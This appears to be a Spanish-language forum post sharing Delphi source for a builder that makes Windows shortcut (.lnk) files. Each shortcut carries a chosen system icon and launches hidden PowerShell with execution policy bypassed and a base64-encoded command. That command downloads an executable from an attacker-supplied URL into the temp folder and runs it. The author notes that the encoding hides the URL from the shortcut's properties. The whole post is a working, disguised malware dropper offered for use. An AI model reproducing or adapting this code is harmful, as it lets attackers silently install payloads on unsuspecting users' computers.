aca esta el proyecto final
se coloca la direccion web del ejecutable
lo guardan en algun lugar
le cambian el icono
y lo generan
aunque se le pasa el parametro hiden se muestra la consola 1 segundo
(la verdad ni idea , pero hasta aca llego mi amor )
de manera predeterminada esta escrita la descarga de puty.exe
(lo vi que lo usaron para probar en otros foros y tambien lo use,, es solo para testearlo se puede borrar)
la url , directorio a guardar y ejecucion estan encriptadas(base64) , asi que no es posible verlo en propiedades
probe compilarlo en delphi 2010 y funciona igual de bien que en delphi 7
lo probe en windows 7 y funciona bien
en xp no funciona y esta explicado en el codigo
descarga
[Enlace externo eliminado para invitados]
aca esta el codigo mas limpio que el que deje en laseccion delphi
la ubicacion y ejecucion de descarga la deje fija en temp del usuario modificar a justo
Mostrar/Ocultar
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,shellapi, StdCtrls,ComObj, ShlObj, ActiveX,unit2, ImgList;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
SaveDialog1: TSaveDialog;
Button3: TButton;
ComboBox1: TComboBox;
ImageList1: TImageList;
Label1: TLabel;
Edit2: TEdit;
Label2: TLabel;
Label3: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure ComboBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
sl: IShellLinkW; //pwidechar
pf: IPersistFile;
datos:string;
begin
//mas de 260 no me acepta en xp//se pueden colocar pero no ejecuta mas caracteres que ese limite
//tambien se rompe el icono
//en windows 7 es 1023 caracteres y si funciona
datos:=encode64('(new-object System.Net.WebClient).DownloadFile('+''''+edit2.text+''''+','+'"$env:temp\filesa.exe"'+'); Start-Process "$env:temp\filesa.exe"');
CoCreateInstance(CLSID_ShellLink, nil,
CLSCTX_INPROC_SERVER, IID_IShellLinkw, sl);
sl.SetPath('powershell.exe');
sl.SetWorkingDirectory('');
//* powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden
sl.SetArguments(pwidechar(widestring(' powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand '+datos) ));
sl.setIconLocation(('%systemroot%\system32\shell32.dll'),combobox1.ItemIndex);
pf := sl as IPersistFile;
pf.Save(pwidechar(widestring(edit1.text)), False);
showmessage('acceso directo creado');
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
//SaveDialog1.Filter := 'acceso directo (*.lnk)|*.lnk';
if savedialog1.Execute then begin
edit1.Text:=savedialog1.FileName+'.lnk';
end;
end;
procedure TForm1.ComboBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
AnIcon : TIcon;
begin
AnIcon := TIcon.Create;
try
form1.ImageList1.GetIcon (Index,AnIcon);
with Control as TComboBox do begin
Canvas.Draw (Rect.Left,Rect.Top,AnIcon);
Canvas.TextOut (Rect.Left + form1.ImageList1.Width,Rect.Top,Items[Index]);
end;
finally
AnIcon.Free;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
icon: TIcon;
i:integer;
begin
imagelist1.Clear ;
icon := TIcon.Create;
try
for i:=0 to 238 do begin
icon.Handle:=(ExtractIcon(hInstance, 'shell32.dll', i));
imagelist1.addicon(icon);
end;
finally
icon.Free;
form1.ComboBox1.Items.Clear;
for i := 0 to ImageList1.Count-1 do begin
form1.ComboBox1.Items.Add(IntToStr(i));
end;
end;
combobox1.ItemIndex:=0;
end;
end.
unit base64
Mostrar/Ocultar
unit Unit2;
interface
uses SysUtils,dialogs;
function encode64(s: string): string;
implementation
const
tabChar = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function encode64(s: string): string;
var
i : Integer;
charCode: Integer;
valToDec: Integer;
nbrBits : Integer;
charPos : Integer;
begin
Result := '';
charCode := 0;
nbrBits := 0;
valToDec := 0;
for i := 1 to (Length(s)) do
begin
charCode := (Ord(s[i])*4);
nbrBits := nbrBits + 16;
valToDec := (valToDec shl 16) + charCode;
while (nbrBits - 6) >=0 do
begin
nbrBits := (nbrBits - 6);
charPos := (valToDec shr (nbrBits ));
//
valToDec := valToDec - (charPos shl nbrBits);
Result := Result + tabChar[charPos + 1];
end;
end;
result:=result+ (copy(result,0,1));
delete(result,1,1);
if nbrBits > 0 then
begin
charPos := valToDec shl (6 - nbrBits);
Result := Result + tabChar[charPos + 1];
for i := 1 to (6 - nbrBits) div 2 do
Result := Result + '=';
end;
end;
end.
